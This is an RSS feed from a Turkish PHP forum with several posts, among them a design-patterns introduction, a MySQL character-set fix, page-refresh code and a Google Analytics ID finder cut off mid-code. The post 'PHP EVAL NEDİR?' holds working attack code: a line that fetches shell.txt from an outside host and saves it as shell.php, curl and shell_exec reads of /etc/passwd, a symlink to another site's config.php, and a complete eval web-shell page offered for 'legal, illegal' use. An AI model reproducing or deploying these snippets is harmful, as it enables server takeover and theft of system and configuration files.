<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Genel Paylaşım Forumu ,Türkçe Forum Sitesi, Güncel Forumlar - PHP]]></title>
		<link>https://www.forumteams.com/</link>
		<description><![CDATA[Genel Paylaşım Forumu ,Türkçe Forum Sitesi, Güncel Forumlar - https://www.forumteams.com]]></description>
		<pubDate>Thu, 18 Jun 2026 06:50:13 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[PHP Tasarım Kalıpları]]></title>
			<link>https://www.forumteams.com/konu-php-tasarim-kaliplari.html</link>
			<pubDate>Tue, 11 Apr 2023 17:55:06 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-tasarim-kaliplari.html</guid>
			<description><![CDATA[Tasarım kalıpları, PHP uygulamalarında kod kalitesini iyileştirmek isteyen herhangi bir programcı için çok önemli bir araçtır. Tasarım desenleri, adından da anlaşılacağı gibi, yaygın programlama sorunlarına yeniden kullanılabilir çözümlerdir. Yazılım geliştirmede sıklıkla ortaya çıkan sorunları çözmek için denenmiş ve test edilmiş yaklaşım sunarlar.<br />
<br />
Yeni başlayanlar için, tasarım kalıpları ilk başta biraz göz korkutucu olabilir ama öyle olmak zorunda değiller. Bu makalede, ne olduklarını ve kodunuza nasıl fayda sağlayabileceklerini anlamanıza yardımcı olmak için PHP'deki tasarım kalıplarına bir giriş sağlayacağız.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Tasarım Kalıpları Nedir?</span><br />
Tasarım kalıpları, yazılım geliştirmede tekrar eden problemler için standart çözümlerdir. Bunlar gerçek kod değil, belirli bir bağlamda belirli bir sorunu çözmek için takip edebileceğiniz şablonlar veya taslaklardır. Tasarım desenleri, daha esnek, bakım yapılabilir ve yeniden kullanılabilir kod yazmanın bir yolunu sağlar.<br />
<br />
Üç temel tasarım deseni türü vardır:<br />
<ol type="1" class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yaratıcısal:</span> Nesneler ve sınıflar oluşturmak için kullanılır.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Yapısal: </span>Nesneleri ve sınıfları düzenlemek için kullanılır.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Davranışsal:</span> Nesneler ve sınıflar arasındaki iletişimi yönetmek için kullanılır.<br />
</li>
</ol>
<br />
<span style="font-weight: bold;" class="mycode_b">Tasarım Desenlerini Neden Kullanmalıyız?</span><br />
Tasarım kalıpları, yaygın sorunlara bir dizi kanıtlanmış çözüm sunarak daha iyi kod yazmanıza yardımcı olabilir. Tasarım kalıplarını kullanmanın faydalarından bazıları şunlardır:<ul class="mycode_list"><li>Yeniden Kullanılabilirlik: Bir tasarım deseni uyguladığınızda, onu kodunuzun farklı bölümlerinde tekrar tekrar kullanabilirsiniz.<br />
</li>
<li>Sürdürülebilirlik: Sorun çözmeye yönelik standart bir yaklaşım sağladıkları için kodunuzun bakımını kolaylaştırır.<br />
</li>
<li>Esneklik: Kodunuzun geri kalanını etkilemeden uygulamaları değiştirmenize izin verdiği için kodunuzu daha esnek hale getirir.<br />
</li>
<li>Ölçeklenebilirlik: Karmaşıklığı yönetmek için bir çerçeve sağladıkları için ölçeklenebilir kod yazmanıza yardımcı olur.<br />
</li>
<li>Verimlilik: Yinelemeyi azaltarak ve performansı iyileştirerek kodunuzun verimliliğini artırabilir.<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">PHP'de Tasarım Kalıpları</span><br />
Artık tasarım kalıplarının ne olduğunu ve neden yararlı olduklarını öğrendiğimize göre, PHP'de kullanılan en yaygın tasarım kalıplarından bazılarına göz atalım.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Tekli Desen</span><br />
Bir sınıfın yalnızca bir örneğinin oluşturulmasını sağlayan ve nesneye küresel bir erişim noktası sağlayan yaratıcı bir modeldir. Bu model, herhangi bir zamanda belirli bir sınıfın yalnızca bir örneğinin olduğundan emin olmanız gerektiğinde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Fabrika Kalıbı</span><br />
Bir üst sınıfta nesneler oluşturmak için bir arabirim sağlayan, ancak alt sınıfların oluşturulacak nesnenin türünü değiştirmesine izin veren başka bir yaratıcı modeldir. Bu model, ortak bir arabirimle farklı türde nesneler oluşturmanız gerektiğinde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Dekoratör kalıbı</span><br />
Mevcut bir nesneye yapısını değiştirmeden yeni işlevler eklemenizi sağlayan yapısal bir modeldir. Bu model, bir nesnenin davranışını, temel kodunu değiştirmeden değiştirmek istediğinizde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Gözlemci Modeli</span><br />
Bir nesnenin durumu değiştiğinde diğer nesneleri bilgilendirmesine izin veren davranışsal bir modeldir. Bu model, birden çok nesneyi birbiriyle senkronize tutmanız gerektiğinde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Strateji Modeli</span><br />
Çalışma zamanında farklı algoritmalar seçmenize izin vererek, sınıflardaki algoritmaları kapsayan başka bir davranış modelidir. Bu model, bir nesnenin davranışını dinamik olarak değiştirmeniz gerektiğinde kullanışlıdır.<br />
<br />
Tasarım kalıpları, daha temiz, bakımı daha kolay ve daha verimli kod yazmak isteyen her programcı için vazgeçilmez bir araçtır. Tasarım kalıpları, sık karşılaşılan sorunlara bir dizi kanıtlanmış çözüm sunarak, daha iyi kodu daha hızlı yazmanıza yardımcı olabilir. Yeni başlayan biri olarak, tasarım kalıplarının temellerini ve bunların PHP'de nasıl uygulanabileceğini anlamak önemlidir. Bu makalenin tasarım kalıplarının gizemini çözmeye yardımcı olduğunu ve daha fazla araştırma için bir temel oluşturduğunu umuyorum.]]></description>
			<content:encoded><![CDATA[Tasarım kalıpları, PHP uygulamalarında kod kalitesini iyileştirmek isteyen herhangi bir programcı için çok önemli bir araçtır. Tasarım desenleri, adından da anlaşılacağı gibi, yaygın programlama sorunlarına yeniden kullanılabilir çözümlerdir. Yazılım geliştirmede sıklıkla ortaya çıkan sorunları çözmek için denenmiş ve test edilmiş yaklaşım sunarlar.<br />
<br />
Yeni başlayanlar için, tasarım kalıpları ilk başta biraz göz korkutucu olabilir ama öyle olmak zorunda değiller. Bu makalede, ne olduklarını ve kodunuza nasıl fayda sağlayabileceklerini anlamanıza yardımcı olmak için PHP'deki tasarım kalıplarına bir giriş sağlayacağız.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Tasarım Kalıpları Nedir?</span><br />
Tasarım kalıpları, yazılım geliştirmede tekrar eden problemler için standart çözümlerdir. Bunlar gerçek kod değil, belirli bir bağlamda belirli bir sorunu çözmek için takip edebileceğiniz şablonlar veya taslaklardır. Tasarım desenleri, daha esnek, bakım yapılabilir ve yeniden kullanılabilir kod yazmanın bir yolunu sağlar.<br />
<br />
Üç temel tasarım deseni türü vardır:<br />
<ol type="1" class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yaratıcısal:</span> Nesneler ve sınıflar oluşturmak için kullanılır.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Yapısal: </span>Nesneleri ve sınıfları düzenlemek için kullanılır.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Davranışsal:</span> Nesneler ve sınıflar arasındaki iletişimi yönetmek için kullanılır.<br />
</li>
</ol>
<br />
<span style="font-weight: bold;" class="mycode_b">Tasarım Desenlerini Neden Kullanmalıyız?</span><br />
Tasarım kalıpları, yaygın sorunlara bir dizi kanıtlanmış çözüm sunarak daha iyi kod yazmanıza yardımcı olabilir. Tasarım kalıplarını kullanmanın faydalarından bazıları şunlardır:<ul class="mycode_list"><li>Yeniden Kullanılabilirlik: Bir tasarım deseni uyguladığınızda, onu kodunuzun farklı bölümlerinde tekrar tekrar kullanabilirsiniz.<br />
</li>
<li>Sürdürülebilirlik: Sorun çözmeye yönelik standart bir yaklaşım sağladıkları için kodunuzun bakımını kolaylaştırır.<br />
</li>
<li>Esneklik: Kodunuzun geri kalanını etkilemeden uygulamaları değiştirmenize izin verdiği için kodunuzu daha esnek hale getirir.<br />
</li>
<li>Ölçeklenebilirlik: Karmaşıklığı yönetmek için bir çerçeve sağladıkları için ölçeklenebilir kod yazmanıza yardımcı olur.<br />
</li>
<li>Verimlilik: Yinelemeyi azaltarak ve performansı iyileştirerek kodunuzun verimliliğini artırabilir.<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">PHP'de Tasarım Kalıpları</span><br />
Artık tasarım kalıplarının ne olduğunu ve neden yararlı olduklarını öğrendiğimize göre, PHP'de kullanılan en yaygın tasarım kalıplarından bazılarına göz atalım.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Tekli Desen</span><br />
Bir sınıfın yalnızca bir örneğinin oluşturulmasını sağlayan ve nesneye küresel bir erişim noktası sağlayan yaratıcı bir modeldir. Bu model, herhangi bir zamanda belirli bir sınıfın yalnızca bir örneğinin olduğundan emin olmanız gerektiğinde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Fabrika Kalıbı</span><br />
Bir üst sınıfta nesneler oluşturmak için bir arabirim sağlayan, ancak alt sınıfların oluşturulacak nesnenin türünü değiştirmesine izin veren başka bir yaratıcı modeldir. Bu model, ortak bir arabirimle farklı türde nesneler oluşturmanız gerektiğinde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Dekoratör kalıbı</span><br />
Mevcut bir nesneye yapısını değiştirmeden yeni işlevler eklemenizi sağlayan yapısal bir modeldir. Bu model, bir nesnenin davranışını, temel kodunu değiştirmeden değiştirmek istediğinizde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Gözlemci Modeli</span><br />
Bir nesnenin durumu değiştiğinde diğer nesneleri bilgilendirmesine izin veren davranışsal bir modeldir. Bu model, birden çok nesneyi birbiriyle senkronize tutmanız gerektiğinde kullanışlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Strateji Modeli</span><br />
Çalışma zamanında farklı algoritmalar seçmenize izin vererek, sınıflardaki algoritmaları kapsayan başka bir davranış modelidir. Bu model, bir nesnenin davranışını dinamik olarak değiştirmeniz gerektiğinde kullanışlıdır.<br />
<br />
Tasarım kalıpları, daha temiz, bakımı daha kolay ve daha verimli kod yazmak isteyen her programcı için vazgeçilmez bir araçtır. Tasarım kalıpları, sık karşılaşılan sorunlara bir dizi kanıtlanmış çözüm sunarak, daha iyi kodu daha hızlı yazmanıza yardımcı olabilir. Yeni başlayan biri olarak, tasarım kalıplarının temellerini ve bunların PHP'de nasıl uygulanabileceğini anlamak önemlidir. Bu makalenin tasarım kalıplarının gizemini çözmeye yardımcı olduğunu ve daha fazla araştırma için bir temel oluşturduğunu umuyorum.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Php Türkçe Karakter Sorunu]]></title>
			<link>https://www.forumteams.com/konu-php-turkce-karakter-sorunu.html</link>
			<pubDate>Sat, 11 Mar 2023 19:51:27 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=214">Mango</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-turkce-karakter-sorunu.html</guid>
			<description><![CDATA[<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Php türkçe karakter sorunu yada mysql türkçe karakter sorunu en çok çözüm aranan konudur.</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Php ve mysql tüm dünyada kullanıldığı için bir çok dil yapısına sahiptir bu dil yapıları genel unix yada sadece ülkelere özel dil yapılarıda olabilir örnek verilirse wordpress tüm dünya dillerine ait dilleri kullanılır.</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Türkçe dil karakter sorunu için yapılması gereken html kodu ekleme</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">&lt;meta charset="utf-8"&gt;</span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Kodlama Dilini Türkçe Yapma</span></span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Mysql Türkçe kodu</span></span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET NAMES 'latin1' ");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET CHARACTER SET 'latin1'");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET COLLATION_CONNECTION = 'latin1_swedish_ci' ");</span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Eğer bu Sizin sorununuza Çözüm olmadıysa</span></span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET NAMES 'utf8' ");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET CHARACTER SET 'utf8'");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET COLLATION_CONNECTION = 'utf8_general_ci' ");</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Bunlar size kesin çözümü veriri bu kodları mysql veri tabını bağlantı sayfasına yapıştırmanız yeterli olacaktır. Çıkan soru işaretlerini çözecektir.</span></span>]]></description>
			<content:encoded><![CDATA[<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Php türkçe karakter sorunu yada mysql türkçe karakter sorunu en çok çözüm aranan konudur.</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Php ve mysql tüm dünyada kullanıldığı için bir çok dil yapısına sahiptir bu dil yapıları genel unix yada sadece ülkelere özel dil yapılarıda olabilir örnek verilirse wordpress tüm dünya dillerine ait dilleri kullanılır.</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Türkçe dil karakter sorunu için yapılması gereken html kodu ekleme</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">&lt;meta charset="utf-8"&gt;</span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Kodlama Dilini Türkçe Yapma</span></span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Mysql Türkçe kodu</span></span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET NAMES 'latin1' ");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET CHARACTER SET 'latin1'");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET COLLATION_CONNECTION = 'latin1_swedish_ci' ");</span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Eğer bu Sizin sorununuza Çözüm olmadıysa</span></span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET NAMES 'utf8' ");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET CHARACTER SET 'utf8'");</span></span><br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">mysql_query("SET COLLATION_CONNECTION = 'utf8_general_ci' ");</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i"><span style="font-size: medium;" class="mycode_size">Bunlar size kesin çözümü veriri bu kodları mysql veri tabını bağlantı sayfasına yapıştırmanız yeterli olacaktır. Çıkan soru işaretlerini çözecektir.</span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP EVAL NEDİR ?]]></title>
			<link>https://www.forumteams.com/konu-php-eval-nedir.html</link>
			<pubDate>Sat, 11 Mar 2023 19:50:08 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=214">Mango</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-eval-nedir.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">PHP EVAL NEDİR ?</span><br />
<br />
eval(); bir php fonksiyonudur , ancak onu diğerlerinden ayıran şey hacking alanında çok sık kullanılmasıdır . Bu yüzden kendisine webmaster dünyası evilyani zararlı,kötü fonksiyon lakabı takılmıştır.<br />
<br />
eval(); ın görevi herhangi bir metni php olarak yorumlamasıdır , zaten bu yüzden hackerler tarafından birçok alanda kullanılır , olup olmadık zarar verebilecek kodları php olarak yorumlatıp sisteme sızılmasını sağlar.<br />
<br />
include komutuna benzerlik gösterir , ve sırf bu yüzden bile dikkatli kullanılması ve kodlanması gereklidir , yoksa sitenizin her tarafına include eder gibi dosya yüklerler.<br />
<br />
Mesala aşağıdaki base64 ile şifrelenmi kodları php olarak yorumlatır , yani hiçbir şekilde sorgusuz sualsiz !<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
eval(base64_decode('ykpJHM9cHJl.....')<br />
PHP nin birçok güvenlik taramasından'da hesap vermeden geçebilir , birçok hazır cms,forum scriptide bolca eval(); fonksiyonu kullanmaktadır , yani yasaklanması gibi bir durum söz konusu olamaz php için.<br />
<br />
Eval içinde çalıştırılan bu basit kodlama bulunduğunuz dizine kolaylıkla shell yüklemenizi sağlar<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&#36;z=fopen("shell.php",'w');fwrite(&#36;z,file_get_contents("http://www.website.com/shell.txt"));fclose(&#36;z);<br />
Eval içinde çalıştırılan bu CURL düzeneği ise etc/passwd komutunu rahatça çalıştırır , %99 ihtimal ile çalıştırır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&#36;ch = curl_init();<br />
curl_setopt(&#36;ch, CURLOPT_URL, "file:file:///etc/passwd");<br />
curl_setopt(&#36;ch, CURLOPT_HEADER, 0);<br />
curl_exec(&#36;ch);<br />
curl_close(&#36;ch);<br />
Eval içinde Symlink'de çalıştırabilirsiniz<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&#36;hedef = '/home/spyhackerz.com/public_html/config.php';<br />
&#36;bağ = '/home/hfgk/public_html/sym/config.ini';<br />
symlink(&#36;hedef, &#36;bağ);<br />
echo(readlink(&#36;bağ));<br />
Çalıştırabileceğiniz diğer örnek komutlar , genelde kullandığım kendi deneme yanılmam ile yaptığum düzenlemelerdir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod</span>:<br />
&#36;output = shell_exec('cat /etc/passwd &gt; passwd.txt');<br />
&#36;output = shell_exec('ls /var/mail &gt; users.txt');<br />
<br />
&#36;users=file("/etc/passwd");<br />
foreach(&#36;users as &#36;user)<br />
{<br />
&#36;str=explode(":",&#36;user);<br />
echo &#36;str[0]."n";<br />
}<br />
Her türlü php kodlarınızı eval içinde okutabilirsiniz başına sonuna php taglarınızı eklemeden &lt;?php ?&gt; gibi..<br />
<br />
Şimdi Eval çalıştırabileceğin betiğide hazırladım , eval ile yapacağınız legal,illegal işlerinizde tek parça olarak kullanabilirsiniz.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&lt;?php<br />
echo "&lt;center&gt;&lt;a href='?id=eval'&gt;Eval bypass tiktik&lt;/a&gt;&lt;/center&gt;";<br />
// PHP Eval komut bölümü<br />
if (&#36;_GET[id]=="eval"){<br />
<br />
&#36;code=stripslashes(&#36;_POST['code']);<br />
echo '&lt;center&gt;&lt;br&gt;&lt;h3&gt; Eval PHP&lt;/h3&gt;&lt;/center&gt;<br />
&lt;center&gt;<br />
&lt;form method="POST" action=""&gt;<br />
&lt;input type="hidden" name="id" value="eval"&gt;<br />
&lt;textarea name ="code" rows="10" cols="85" class="textarea"&gt;',&#36;code,'<br />
Kodlar buraya gelsin..<br />
&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;<br />
&lt;input type="submit" value=" Evaluate PHP Code" class="button"&gt;&lt;hr&gt;<br />
&lt;/form&gt;<br />
&lt;textarea rows="10" cols="85" class="textarea"&gt;';<br />
eval(&#36;code);<br />
echo '&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;';<br />
<br />
}<br />
?&gt;]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">PHP EVAL NEDİR ?</span><br />
<br />
eval(); bir php fonksiyonudur , ancak onu diğerlerinden ayıran şey hacking alanında çok sık kullanılmasıdır . Bu yüzden kendisine webmaster dünyası evilyani zararlı,kötü fonksiyon lakabı takılmıştır.<br />
<br />
eval(); ın görevi herhangi bir metni php olarak yorumlamasıdır , zaten bu yüzden hackerler tarafından birçok alanda kullanılır , olup olmadık zarar verebilecek kodları php olarak yorumlatıp sisteme sızılmasını sağlar.<br />
<br />
include komutuna benzerlik gösterir , ve sırf bu yüzden bile dikkatli kullanılması ve kodlanması gereklidir , yoksa sitenizin her tarafına include eder gibi dosya yüklerler.<br />
<br />
Mesala aşağıdaki base64 ile şifrelenmi kodları php olarak yorumlatır , yani hiçbir şekilde sorgusuz sualsiz !<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
eval(base64_decode('ykpJHM9cHJl.....')<br />
PHP nin birçok güvenlik taramasından'da hesap vermeden geçebilir , birçok hazır cms,forum scriptide bolca eval(); fonksiyonu kullanmaktadır , yani yasaklanması gibi bir durum söz konusu olamaz php için.<br />
<br />
Eval içinde çalıştırılan bu basit kodlama bulunduğunuz dizine kolaylıkla shell yüklemenizi sağlar<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&#36;z=fopen("shell.php",'w');fwrite(&#36;z,file_get_contents("http://www.website.com/shell.txt"));fclose(&#36;z);<br />
Eval içinde çalıştırılan bu CURL düzeneği ise etc/passwd komutunu rahatça çalıştırır , %99 ihtimal ile çalıştırır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&#36;ch = curl_init();<br />
curl_setopt(&#36;ch, CURLOPT_URL, "file:file:///etc/passwd");<br />
curl_setopt(&#36;ch, CURLOPT_HEADER, 0);<br />
curl_exec(&#36;ch);<br />
curl_close(&#36;ch);<br />
Eval içinde Symlink'de çalıştırabilirsiniz<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&#36;hedef = '/home/spyhackerz.com/public_html/config.php';<br />
&#36;bağ = '/home/hfgk/public_html/sym/config.ini';<br />
symlink(&#36;hedef, &#36;bağ);<br />
echo(readlink(&#36;bağ));<br />
Çalıştırabileceğiniz diğer örnek komutlar , genelde kullandığım kendi deneme yanılmam ile yaptığum düzenlemelerdir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod</span>:<br />
&#36;output = shell_exec('cat /etc/passwd &gt; passwd.txt');<br />
&#36;output = shell_exec('ls /var/mail &gt; users.txt');<br />
<br />
&#36;users=file("/etc/passwd");<br />
foreach(&#36;users as &#36;user)<br />
{<br />
&#36;str=explode(":",&#36;user);<br />
echo &#36;str[0]."n";<br />
}<br />
Her türlü php kodlarınızı eval içinde okutabilirsiniz başına sonuna php taglarınızı eklemeden &lt;?php ?&gt; gibi..<br />
<br />
Şimdi Eval çalıştırabileceğin betiğide hazırladım , eval ile yapacağınız legal,illegal işlerinizde tek parça olarak kullanabilirsiniz.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Kod:</span><br />
&lt;?php<br />
echo "&lt;center&gt;&lt;a href='?id=eval'&gt;Eval bypass tiktik&lt;/a&gt;&lt;/center&gt;";<br />
// PHP Eval komut bölümü<br />
if (&#36;_GET[id]=="eval"){<br />
<br />
&#36;code=stripslashes(&#36;_POST['code']);<br />
echo '&lt;center&gt;&lt;br&gt;&lt;h3&gt; Eval PHP&lt;/h3&gt;&lt;/center&gt;<br />
&lt;center&gt;<br />
&lt;form method="POST" action=""&gt;<br />
&lt;input type="hidden" name="id" value="eval"&gt;<br />
&lt;textarea name ="code" rows="10" cols="85" class="textarea"&gt;',&#36;code,'<br />
Kodlar buraya gelsin..<br />
&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;<br />
&lt;input type="submit" value=" Evaluate PHP Code" class="button"&gt;&lt;hr&gt;<br />
&lt;/form&gt;<br />
&lt;textarea rows="10" cols="85" class="textarea"&gt;';<br />
eval(&#36;code);<br />
echo '&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;';<br />
<br />
}<br />
?&gt;]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Php Sayfa Yenileme Ve Yönlendirme Kodları]]></title>
			<link>https://www.forumteams.com/konu-php-sayfa-yenileme-ve-yonlendirme-kodlari.html</link>
			<pubDate>Sun, 12 Feb 2023 20:53:12 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=1">şenol</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-sayfa-yenileme-ve-yonlendirme-kodlari.html</guid>
			<description><![CDATA[Burada “60” saniyeyi ifade eder ve 60 saniye sonunda sayfanın yönlendirilmesini veya yenilenmesini sağlar. Eğer sayfanın kullanıcıları bekletmeden hemen yenilenmesini isterseniz saniye bölümünü “0” yapabilirsiniz. <br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>&lt;meta http-equiv="refresh" content="60;"&gt;</code></div></div><br />
“https://forumteams.com” burası ise yönlenecek sayfayı ifade eder. Eğer farklı bir sayfa veya internet sitesi değilde bulunduğumuz sayfanın yenilenmesini istersek o bölümü silmeniz yeterli olacaktır.<br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>header("Refresh: 60; url=https://forumteams.com ");</code></div></div>]]></description>
			<content:encoded><![CDATA[Burada “60” saniyeyi ifade eder ve 60 saniye sonunda sayfanın yönlendirilmesini veya yenilenmesini sağlar. Eğer sayfanın kullanıcıları bekletmeden hemen yenilenmesini isterseniz saniye bölümünü “0” yapabilirsiniz. <br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>&lt;meta http-equiv="refresh" content="60;"&gt;</code></div></div><br />
“https://forumteams.com” burası ise yönlenecek sayfayı ifade eder. Eğer farklı bir sayfa veya internet sitesi değilde bulunduğumuz sayfanın yenilenmesini istersek o bölümü silmeniz yeterli olacaktır.<br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>header("Refresh: 60; url=https://forumteams.com ");</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Google Analitik ID Bulucu]]></title>
			<link>https://www.forumteams.com/konu-php-google-analitik-id-bulucu.html</link>
			<pubDate>Fri, 03 Dec 2021 16:17:08 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-google-analitik-id-bulucu.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">function </span><span style="color: #0000BB">fetchGoogleAnalyticsUAID</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;googleAnalyticsURL</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Script Regex<br />
</span><span style="color: #0000BB">    &#36;script_regex </span><span style="color: #007700">= </span><span style="color: #DD0000">"/&lt;script&#092;b[^&gt;]*&gt;([&#092;s&#092;S]*?)&lt;&#092;/script&gt;/i"</span><span style="color: #007700">; <br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// UA_ID Regex<br />
</span><span style="color: #0000BB">    &#36;ua_regex </span><span style="color: #007700">= </span><span style="color: #DD0000">"/UA-[0-9]{5,}-[0-9]{1,}/"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Preg Match for Script<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Extract all the script tags of the content<br />
</span><span style="color: #0000BB">    preg_match_all</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;script_regex</span><span style="color: #007700">, </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;googleAnalyticsURL</span><span style="color: #007700">), </span><span style="color: #0000BB">&#36;inside_script</span><span style="color: #007700">); <br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Check for ga.gs and _trackPageview in all &lt;script&gt; tag<br />
